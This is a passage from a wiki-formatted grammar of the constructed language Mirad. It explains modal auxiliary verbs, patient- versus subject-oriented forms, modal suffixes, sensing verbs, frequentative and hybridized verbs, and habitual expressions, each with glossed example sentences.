| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
| '''byexer'''....''to hit''||'''&lt;u&gt;je&lt;/u&gt;byexer'''....''to batter''
|-
| '''zoigper'''....''to pursue''||'''&lt;u&gt;je&lt;/u&gt;zoigper'''....''to stalk''
|-
| '''duler'''....''to urge'' || '''&lt;u&gt;je&lt;/u&gt;duler'''....''to nag''
|}

== Hybridized Verbs ==
: Verbs that involve motion directions that change back and forth can be formed by hybridizing the stem vowel or the vowel of the vectorial prefix.  Here are some examples:

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Hybridized Verbs
|-
! First Verb !! Second Verb !! Hybridized Verb
|-
| '''py&lt;u&gt;a&lt;/u&gt;ser'''....''jump up''|| '''py&lt;u&gt;o&lt;/u&gt;ser'''....''fall down'' || '''py&lt;u&gt;ao&lt;/u&gt;ser'''....''bounce, undulate''
|-
| '''buer'''....''give'' || '''bier'''....''take'' || '''buier'''....''exchange''
|-
| '''nuer'''....''furnish'' || '''nier'''....''consume'' || '''nuier'''....''trade''
|-
| '''tuer'''....''inform'' || '''tier'''....''learn'' || '''tuier'''....''communicate''
|-
| '''yaper'''....''ascend'' || '''yoper'''....''descend'' || '''yaoper'''....''go up and down''
|-
| '''zayper'''....''go forward'' || '''zoyper'''....''go back'' || '''zaoper'''....''vacillate''
|-
| '''vader'''....''affirm'' || '''voder'''....''deny'' || '''vaoder'''....''decide''
|-
| '''yijber'''....''open'' || '''yujber'''....''close'' || '''uijber'''....''valve''
|-
| '''baser'''....''stir'' || '''boser'''....''be still'' || '''baoser'''....''vibrate''
|}

== Expressing Habitual Actions and States ==
: Mirad uses the term '''gel jubyen''' (''as a habit'') to express a verb reflecting habitual action, eg:
::* '''At tijeya be yiwa jwobi gel jubyen.'''....''I used to wake up at 9 o'clock.'' (Lit. ''I was waking up at 9 o'clock as a habit.'').
: The term '''hyujod'''....''one another occasion'' (or '''be aj'''....''in the past'') is use to express ''once (upon a time)'', eg:
::* '''At sa tuxut hyujod (~ be aj) sa tuxut.''' ....''I once was a teacher.''
: The term '''vyabxelay''' (''routinely'') can also be used, eg:
